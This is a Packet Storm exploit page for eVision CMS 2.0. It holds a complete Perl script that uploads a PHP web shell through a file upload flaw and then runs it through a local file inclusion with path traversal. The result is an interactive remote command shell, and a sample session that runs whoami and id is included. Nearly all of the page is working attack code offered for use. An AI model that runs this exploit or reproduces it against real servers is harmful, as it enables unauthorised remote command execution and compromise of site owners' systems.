exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

eVision CMS 2.0 Code Execution

eVision CMS 2.0 Code Execution
Posted Jan 31, 2009
Authored by Osirys | Site y-osirys.com

eVision CMS version 2.0 remote command execution exploit that uses local file inclusion and a file upload vulnerability in conjunction with each other.

tags | exploit, remote, local, file inclusion, file upload
SHA-256 | f9a8fccad280f0d64592303d24c81a1cc3b57fa2f3616cb068b9baf555483d26

eVision CMS 2.0 Code Execution

Change Mirror Download
#!/usr/bin/perl

# -----------------------------------------------------------------------------
# INFORMATIONS
# -----------------------------------------------------------------------------

# eVision CMS 2.0
# http://kent.dl.sourceforge.net/sourceforge/e-vision/eVision-2.0.tar.gz
# Remote Command Execution Exploit
# by Osirys
# osirys[at]live[dot]it
# Greets to: evilsocket, DarkJoker, emgent, Jay and str0ke

# This cms is vulnerable to arbitrary file upload. The problem is that when
# the user uploads a file, on it will be added the .gif extension. but this
# cms is vulnerable to Local File Inclusion,so we can include the .gif file
# and execute it.

# ------------------------------------------------------------------
# Exploit in action :D
# ------------------------------------------------------------------
# osirys[~]>$ perl rcE.txt http://localhost/eVision-2.0/
#
# ---------------------------
# eVision CMS RCE Exploit
# Coded by Osirys
# ---------------------------

# [+] Evil php code uploaded !
# [+] Including now evil file with LFI vulnerability
# [+] Injection succesfully ! Remote Command execution works !

# shell[localhost]$> whoami
# apache
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/eVision-2.0/modules/tour/adminpart
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ------------------------------------------------------------------

use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;

my $img_up_path = "/modules/brandnews/adminpart/img_upload.php";
my $up_path = "/modules.conf/brandnews/showpart/icons/";
my $lfi_path = "/modules/tour/adminpart/addtour.php?module=";
my $rce_path = "../../../modules.conf/brandnews/showpart/icons/";
my $vuln_code = "<?php system(\$_GET[cmd]); ?>";
my $lfile = "osi.txt";
my $nfile = "osirys.txt";
my $host = $ARGV[0];


($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

open ($file, ">", $lfile);
print $file "$vuln_code\n";
close($file);

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);


my $url = $host.$img_up_path;
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url,
Content_Type => 'form-data',
Content => [
upload_img => [$lfile, Content_Type => 'text/plain'],
upload_label => $nfile,
upload_submit => 'Upload'
]
);

unlink($lfile);

if ($re->is_success){
my $t_re = get_req($host.$up_path.$nfile.".gif");
if ($t_re =~ /<\?php/) {
print "[+] Evil php code uploaded !\n";
print "[+] Including now evil file with LFI vulnerability\n";
my $re = get_req($host.$lfi_path.$rce_path.$nfile.".gif%00&cmd=id");
if ($re =~ /uid/) {
print "[+] Injection succesfully ! Remote Command execution works !\n\n";
$lfi_rce = $host.$lfi_path.$rce_path.$nfile.".gif%00&cmd=";
&exec_cmd;
}
else {
print "[-] Something goes wrong !\n";
print "[-] Exploit Failed\n\n";
exit(0);
}
}
else {
print "[-] Upload failed\n";
print "[-] Exploit Failed\n\n";
exit(0);
}
}
else {
print "[-] Unable to upload evil file !\n";
print "[-] Exploit Failed\n\n";
exit(0);
}

sub exec_cmd {
my @outs;
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = ($lfi_rce.$cmd);
$re = get_req($exec_url);
if ($re =~ /(.)/) {
push(@outs,$re);
foreach my $o(@outs) {
print "$o";
}
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}
}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub banner {
print "\n".
" --------------------------- \n".
" eVision CMS RCE Exploit \n".
" Coded by Osirys \n".
" --------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Bad hostname! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close